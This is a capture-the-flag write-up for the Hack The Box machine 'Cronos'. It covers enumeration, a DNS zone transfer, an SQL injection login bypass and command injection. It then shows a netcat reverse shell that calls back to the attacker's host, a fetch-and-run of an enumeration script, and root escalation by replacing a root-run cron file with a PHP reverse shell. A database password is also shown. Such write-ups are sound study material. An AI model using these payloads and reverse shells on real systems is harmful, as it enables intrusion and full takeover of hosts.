Cronos Writeup - Hack The Box

ByNontas Bakoulas
Published

Enumeration

Let's start with nmap:

Nmap scan
nontas@local$ nmap -sV -sC 10.129.227.211                              
Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-03 11:17 EEST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 6.20% done; ETC: 11:17 (0:00:30 remaining)
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 50.80% done; ETC: 11:17 (0:00:10 remaining)
Nmap scan report for 10.129.227.211
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18b973826f26c7788f1b3988d802cee8 (RSA)
|   256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
|_  256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.80 seconds

Visiting the website we see the following: Default Apache page

We find the domain name using nslookup:

DNS lookup
nontas@local$ nslookup 10.129.227.211 10.129.227.211
211.227.129.10.in-addr.arpa	name = ns1.cronos.htb.

it is cronos.htb.

Let's try a zone transfer to get all of the records from the DNS:

Zone transfer
nontas@local$ dig axfr cronos.htb @10.129.227.211

; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> axfr cronos.htb @10.129.227.211
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 51 msec
;; SERVER: 10.129.227.211#53(10.129.227.211) (TCP)
;; WHEN: Fri Oct 03 11:38:09 EEST 2025
;; XFR size: 7 records (messages 1, bytes 203)

We find the subdomain admin.cronos.htb.

Add it to the /etc/hosts file:

nontas@local$ echo "10.129.227.211 admin.cronos.htb" >> /etc/hosts

Note

I also added cronos.htb to /etc/hosts and fuzzed for files/directories, but I didn't get anything interesting.

Now we're able to visit the login page: Login page

Initial Foothold

Submitting random credentials shows "Your Login Name or Password is invalid". It makes a POST request to / with body username=nontas&password=123456.

SQL Injection

For SQLi, we first test characters like ' and ", but nothing interesting happens. After some trial and error, we end up with the following successful SQLi for the username:

admin'-- -

and we manage to login as admin.

Admin panel

This page allows us to select either traceroute or ping and execute those commands.

Command Injection

We can actually perform command injection directly, by just changing the command: Command injection

Change the command to cat /home/noulis/user.txt (URL Encode it as well to be safe) to get the user flag.

Reverse Shell

First, I'll start a nc listener:

nontas@local$ nc -lnvp 4343

On Caido, I tried the Bash TCP reverse shells but they didn't work. Then, I tried the Netcat OpenBsd shell and it worked successfully:

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.78 4343 >/tmp/f

don't forget to URL encode it.

To upgrade the shell:

Shell upgrade
python -c 'import pty; pty.spawn("/bin/bash")'
[CTRL+Z]
nontas@local$ stty raw -echo;fg
[ENTER 2 TIMES]
www-data@cronos:/var/www/admin$

Privilege Escalation

There's an interesting config.php file inside:

Config file
www-data@cronos:/var/www/admin$ ls
config.php  index.php  logout.php  session.php	welcome.php
www-data@cronos:/var/www/admin$ cat config.php
<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

To enumerate the host, we first start a python HTTP server that has the LinEnum.sh:

Setup HTTP server
nontas@local$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/refs/heads/master/LinEnum.sh
nontas@local$ python3 -m http.server 8082

and on the remote, we download and run it:

Download and run enumeration
www-data@cronos:/var/www/admin$ wget http://10.10.14.78:8082/LinEnum.sh
www-data@cronos:/var/www/admin$ chmod +x LinEnum.sh 
www-data@cronos:/var/www/admin$ ./LinEnum.sh

Cron Jobs

The script prints the following (among other things):

[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

as we can see, /var/www/laravel/artisan which is a php file runs every minute as root.

We'll use the following php reverse shell (serve it via the python server):

/opt/lists/seclists/Web-Shells/laudanum-1.0/php/php-reverse-shell.php

and replace the old artisan file:

www-data@cronos:/tmp$ mv /tmp/php-reverse-shell.php /var/www/laravel/artisan

Note

The /tmp directory is writable by all the users by default.

Now if we start a new nc listener, we should get root access after ~ a minute.

Root access
root@cronos:/# id
uid=0(root) gid=0(root) groups=0(root)
root@cronos:/# ls /root
fix_dns.sh  root.txt

We have successfully completed the Cronos machine!